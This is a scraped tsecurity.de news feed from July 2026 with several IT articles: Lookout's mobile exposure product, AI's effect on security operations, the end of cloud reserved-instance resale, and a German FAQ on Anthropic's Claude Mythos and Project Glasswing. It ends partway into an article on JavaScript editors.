<guid isPermaLink="true">https://tsecurity.de/de/3685990/it-security-nachrichten/lookout-identifies-exploitable-vulnerabilities-in-mobile-apps/</guid>
<pubDate>Wed, 22 Jul 2026 12:41:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Lookout has announced the launch of the Lookout Mobile Software Exposure Center (MSEC). Integrated natively into the Lookout Mobile Endpoint Security platform, MSEC enables organizations to continuously detect, validate, prioritize, and remediate exploitable vulnerabilities across their mobile software ecosystem. The advancement of frontier AI models, such as Anthropic’s Claude Mythos, marks a fundamental shift in the cybersecurity landscape. By reducing the cost and time required to discover vulnerabilities, develop exploits, and orchestrate sophisticated attacks, AI … <a href="https://www.helpnetsecurity.com/2026/07/22/lookout-mobile-software-exposure-center/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/lookout-mobile-software-exposure-center/">Lookout identifies exploitable vulnerabilities in mobile apps</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
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<title><![CDATA[When China Gets Its Own Mythos]]></title>
<description><![CDATA[Preparing for an AI cyber crisis.]]></description>
<link>https://tsecurity.de/de/3685299/it-security-nachrichten/when-china-gets-its-own-mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685299/it-security-nachrichten/when-china-gets-its-own-mythos/</guid>
<pubDate>Wed, 22 Jul 2026 07:11:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Preparing for an AI cyber crisis.]]></content:encoded>
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<title><![CDATA[FAQ Claude Mythos: Fähigkeiten, Zugang, Wettbewerber, Auswirkungen]]></title>
<description><![CDATA[Claude Mythos steht immer mehr Unternehmen testweise zur Verfügung. Doch was genau steckt in Anthropics neuestem Modell?T. Schneider / Shutterstock



Was ist Claude Mythos?



Claude Mythos ist ein KI-Modell, das von Anthropic entwickelt wurde und für Anwendungen in den Bereichen Cybersicherheit...]]></description>
<link>https://tsecurity.de/de/3685218/it-security-nachrichten/faq-claude-mythos-faehigkeiten-zugang-wettbewerber-auswirkungen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685218/it-security-nachrichten/faq-claude-mythos-faehigkeiten-zugang-wettbewerber-auswirkungen/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2024/04/shutterstock_editorial_2338803257.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Anthropic and Claude" class="wp-image-2096337" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Claude Mythos steht immer mehr Unternehmen testweise zur Verfügung. Doch was genau steckt in Anthropics neuestem Modell?</p></figcaption></figure><p class="imageCredit">T. Schneider / Shutterstock</p></div>



<h2 class="wp-block-heading">Was ist Claude Mythos?</h2>



<p class="wp-block-paragraph">Claude Mythos ist ein KI-Modell, das von Anthropic entwickelt wurde und für Anwendungen in den Bereichen Cybersicherheit und Gesundheitswesen optimiert ist. Ursprünglich wurde Mythos 5 im April einer kleinen Gruppe geprüfter Technologiepartner zugänglich gemacht – im Vorfeld eines geplanten, breiter angelegten Rollouts.</p>



<p class="wp-block-paragraph">Zu diesem Zweck rief das KI-Unternehmen das <a href="https://www.computerwoche.de/article/4156536/wie-claude-mythos-die-it-sicherheit-veraendert.html">Projekt „Glasswing“</a> ins Leben, ein Konsortium, das Infrastrukturanbietern, Open-Source-Entwicklern und großen Technologieunternehmen einen begrenzten, kontrollierten Zugriff zu Mythos gewährt. Ziel der Initiative ist es, Verteidigern zu ermöglichen, Schwachstellen schneller aufzuspüren und zu beheben, als Angreifer sie identifizieren können. Das erscheint auch dringend notwendig, setzen diese doch zunehmend selbst auf <a href="https://www.computerwoche.de/article/4193820/ki-fuhrt-eigenstandig-cyber-attacken-aus.html">KI-gestützte Werkzeuge</a>.</p>



<h2 class="wp-block-heading">Über welche Fähigkeiten verfügt Claude Mythos?</h2>



<p class="wp-block-paragraph">Die ersten 50 Partner von Project Glasswing konnten mithilfe von Mythos mehr als 10.000 Schwachstellen mit hohem oder kritischem Schweregrad in allen gängigen Betriebssystemen und Webbrowsern aufspüren.</p>



<p class="wp-block-paragraph">So identifizierte das Modell Sicherheitslücken, die selbst den fähigsten Sicherheitsforschern jahrelang entgangen waren – etwa einen 27 Jahre alten Fehler in OpenBSD. Zudem hat Mythos bewiesen, dass es mehrere Schwachstellen miteinander verknüpfen kann.</p>



<h2 class="wp-block-heading">Wie schränkt Anthropic den Zugang zu Claude Mythos ein?</h2>



<p class="wp-block-paragraph">Anthropic teilte bei der Vorstellung von Claude Mythos mit, es schränke die Verfügbarkeit des Spitzen-KI-Modells bewusst ein, da dessen Fähigkeiten von Angreifern leicht missbraucht werden könnten.</p>



<p class="wp-block-paragraph">Im Juni wurde die Technologie dann für weitere 150 Organisationen freigegeben. Alle Mythos-Partner müssen hierbei aber zustimmen, dass ihre Daten 30 Tage lang zu Sicherheitsüberwachungszwecken gespeichert werden.</p>



<p class="wp-block-paragraph">Am 15. Juni verhängte die Trump-Regierung allerdings Exportbeschränkungen für <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html" target="_blank">Claude Fable 5</a> und Claude Mythos 5. Diese sollten ausländischen Staatsangehörigen sowohl innerhalb als auch außerhalb der USA den Zugang verwehren. Am 30. Juni wurden die Beschränkungen jedoch bereits wieder aufgehoben.</p>



<h2 class="wp-block-heading">Was ist Claude Fable?</h2>



<p class="wp-block-paragraph">Für einen breiteren Einsatzbereich bietet Anthropic Claude Fable 5 an. Das Modell basiert auf derselben technischen Grundlage wie Mythos. Es verfügt jedoch über strenge Sicherheitsmechanismen, die den Betrieb in als „riskant“ eingestuften Bereichen der Cybersicherheit einschränken. Alle als problematisch deklarierten Anfragen werden stattdessen automatisch an das ältere und weniger leistungsfähige Large Language Model (LLM) Opus 4.8 weitergeleitet.</p>



<h2 class="wp-block-heading">Wie nutzen Security-Partner von Anthropic den Zugriff auf Mythos?</h2>



<p class="wp-block-paragraph">Cisco, einer der Projekt-Glasswing-Partner, hat seine „<a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec" target="_blank" rel="noreferrer noopener">Foundry Security Spec</a>“ als Open-Source-Lösung veröffentlicht. Hierbei handelt es sich um ein modellunabhängiges Framework für Sicherheitstests, das es anderen Anbietern und Sicherheitsexperten in Unternehmen ermöglichen soll, ähnliche Arbeitsabläufe zu entwickeln, ohne bei Null anfangen zu müssen.</p>



<p class="wp-block-paragraph">Vor kurzem betonten Vertreter von Cisco auf einer Online-Veranstaltung, dass Verteidiger KI nutzen können, um Sicherheitsprobleme wesentlich schneller und in größerem Umfang zu identifizieren, zu bestätigen und zu beheben. Ältere Modelle, die nach dem Prinzip „eine Schwachstelle finden und patchen“ funktionieren, seien nicht mehr zeitgemäß. Dies liege daran, dass Angreifer KI einsetzen, um den Weg von der Entdeckung einer Schwachstelle bis zu deren Ausnutzung zu beschleunigen. Cisco wiederum setzt KI intern bereits in der Defensive ein, um 1,8 Milliarden Zeilen Code im gesamten Produktportfolio zu scannen.</p>



<p class="wp-block-paragraph">Gleichzeitig betonen die Experten, dass kleinere Unternehmen keinen Zugriff auf eingeschränkte KI-Modelle benötigen, um ihre Sicherheit zu verbessern. In solchen Betrieben lasse sich stattdessen mehr erreichen, indem grundlegende Sicherheitsmaßnahmen optimiert werden. Hierzu zählen laut Cisco unter anderem Authentifizierung, Netzwerk-Segmentierung, Zero Trust und die Behebung aktiv ausgenutzter Schwachstellen.</p>



<h2 class="wp-block-heading">Bieten andere KI-Anbieter etwas Vergleichbares zu Claude Mythos an?</h2>



<p class="wp-block-paragraph">Mythos ist das prominenteste Beispiel für Frontier-KI-Modelle. Mit ihnen kann die Suche nach Zero-Day-Lücken in einem Tempo und Ausmaß automatisiert werden, die weit über die Fähigkeiten menschlicher Teams hinausgeht.</p>



<p class="wp-block-paragraph">Allerdings arbeiten auch etliche andere Anbieter an hochleistungsfähigen, auf Sicherheit ausgerichteten „Frontier“-KI-Modellen. Zudem gibt es andere leistungsstarke Open-Source-Modelle, die sich problemlos für die Cybersicherheitsforschung nutzen lassen. Claude Mythos ist also bei weitem nicht die einzige verfügbare Option.</p>



<p class="wp-block-paragraph">So werden beispielsweise die Modelle GPT-5.4-Cyber sowie GPT-5.5 von OpenAI genutzt, um Schwachstellen zu erkennen und zu analysieren. Auch in der Malware-Analyse und der Bedrohungsmodellierung kommen sie zum Einsatz. Zugang zu diesen Technologien können Sicherheitsanbieter, Unternehmen und Forscher über das Programm „Trusted Access for Cyber“ (TAC) von OpenAI erhalten.</p>



<p class="wp-block-paragraph">Zusätzlich hat das chinesische <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/" target="_blank" rel="noreferrer noopener">Cybersicherheitsunternehmen 360 Security Technology mit Tulongfeng</a> ein System entwickelt, das als Gegenstück zu Anthropics „Mythos“ beschrieben wird.</p>



<p class="wp-block-paragraph">Privat lassen sich leistungsstarke offene Modelle – darunter DeepSeek V3.2 von DeepSeek und Llama 4 von Meta – auf GPU-Infrastrukturen betreiben und in der Cybersicherheitsforschung einsetzen. Fugu des japanischen Anbieters Sakana AI ist eine weitere Option in dieser Kategorie.</p>



<h2 class="wp-block-heading">Was kritisieren Cybersicherheitsexperten an Claude Mythos?</h2>



<p class="wp-block-paragraph">Kritiker aus dem Cybersecurity-Bereich räumen ein, dass Claude Mythos zweifellos hochentwickelt sei. Die Marketing-Behauptung, wonach es zuverlässig produktive IT-Systeme lahmlegen könne, übersteige jedoch die tatsächlichen Fähigkeiten.</p>



<p class="wp-block-paragraph">Darüber hinaus beklagen sich Sicherheitsexperten – <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y" target="_blank" rel="noreferrer noopener">etwa in Podcasts</a> – über die übertrieben restriktiven Sicherheitsmechanismen von Claude Fable: Bereits Anfragen, einen sicherheitsrelevanten Blogbeitrag zusammenzufassen oder sogar das Wort „Exploit“ zu buchstabieren, würden auf das deutlich schwächere Modell Opus 4.8 zurückgestuft. Dadurch würden selbst alltägliche Aufgaben in der Informationssicherheit unnötig erschwert.</p>



<p class="wp-block-paragraph">Andere Experten warnen davor, dass Frontier-KI-Modelle anfällig für False Positives seien. Eher grundsätzlich ist die Kritik, dass das schnellere Aufspüren von mehr Schwachstellen das eigentliche Problem nicht löst, nämlich zuverlässig Sicherheitslücken zu beheben oder nicht-technische Angriffsvektoren wie Social Engineering zu verhindern.</p>



<h2 class="wp-block-heading">Wie sollten CISOs auf Mythos reagieren?</h2>



<p class="wp-block-paragraph">Die Nachrichtendienste der „Five Eyes“ (USA, Großbritannien, Kanada, Australien und Neuseeland) <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf"></a> warnen davor, dass hochmoderne KI-Modelle wie Claude Mythos „sowohl offensive als auch defensive Cyber-Fähigkeiten grundlegend verändern werden“ – und zwar in einem Zeitraum von Monaten statt Jahren.</p>



<p class="wp-block-paragraph">„Während KI uns dabei helfen wird, die Cyberabwehr im Laufe der Zeit zu verbessern, erhöht sie zugleich Geschwindigkeit, Ausmaß und Raffinesse von Cyberbedrohungen“, heißt es in der Erklärung der Gruppe. Unternehmen sollen daher KI nutzen, um ihre Abwehrmechanismen im Rahmen umfassenderer Strategien zur Stärkung der Cybersicherheits-Resilienz zu verbessern.</p>



<p class="wp-block-paragraph">Die meisten Unternehmen seien jedoch bei weitem noch nicht darauf vorbereitet, was dies für ihre Bedrohungsmodelle bedeutet, warnt ein Experte. „Wir verfügen heute über KI-Systeme, die realistische Angriffswege über Software, Anbieter und kritische Infrastrukturen hinweg schneller abbilden können, als menschliche Angreifer sie erfassen können“, erläutert <a href="https://www.linkedin.com/in/jhubback/" target="_blank" rel="noreferrer noopener">Joe Hubback</a>, Partner und CISO beim Beratungsunternehmen Elixirr sowie ehemaliger McKinsey-Partner. Dadurch, dass „Fähigkeiten der ‚Mythos-Klasse‘ vor der breiten kommerziellen Einführung stünden, handle es sich nicht mehr um „ein Nischenproblem der Forschung“, ergänzt er. Vielmehr sei es jetzt ein Faktor, den jedes Unternehmen in sein Bedrohungsmodell einbeziehen müsse, so der Experte.</p>



<p class="wp-block-paragraph">Auch ein <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf" target="_blank" rel="noreferrer noopener">Bericht der Cloud Security Alliance</a> warnt davor, dass KI die Zeitspanne zwischen der Entdeckung einer Schwachstelle und deren Ausnutzung drastisch verkürzt habe. Damit seien herkömmliche Sicherheitsmodelle, die auf „Patchen und Reagieren“ basieren, überholt. Unternehmen sollten sich vielmehr auf anhaltende Wellen von Schwachstellen einstellen, die durch „Project Glasswing“ und andere Quellen mittels KI aufgedeckt werden.</p>



<p class="wp-block-paragraph">„Die bei Mythos beobachteten Fähigkeiten werden schon bald breiter verfügbar sein. Dadurch wird sich die Anzahl sowie Häufigkeit komplexer, neuartiger Angriffe, denen sich Unternehmen gegenübersehen, drastisch erhöhen“, heißt es in der Warnung. Sicherheitsverantwortliche müssten daher ihre Verteidigungsstrategien auf einen „Mythos-ready“-Ansatz umstellen, der auf kontinuierlichem Schwachstellenmanagement, schnellerer Priorisierung und verbesserter Reaktion auf Sicherheitsvorfälle basiert. (tf)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel basiert auf einem <a href="https://www.csoonline.com/article/4198019/claude-mythos-faq-capabilities-access-competitors-implications.html" target="_blank">Beitrag</a> von CSO.</strong></p>
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<title><![CDATA[Die besten JavaScript-Editoren]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Diese Texteditoren bringen JavaScript-Developer weiter.  R.Narong | shutterstock.com



JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen w...]]></description>
<link>https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


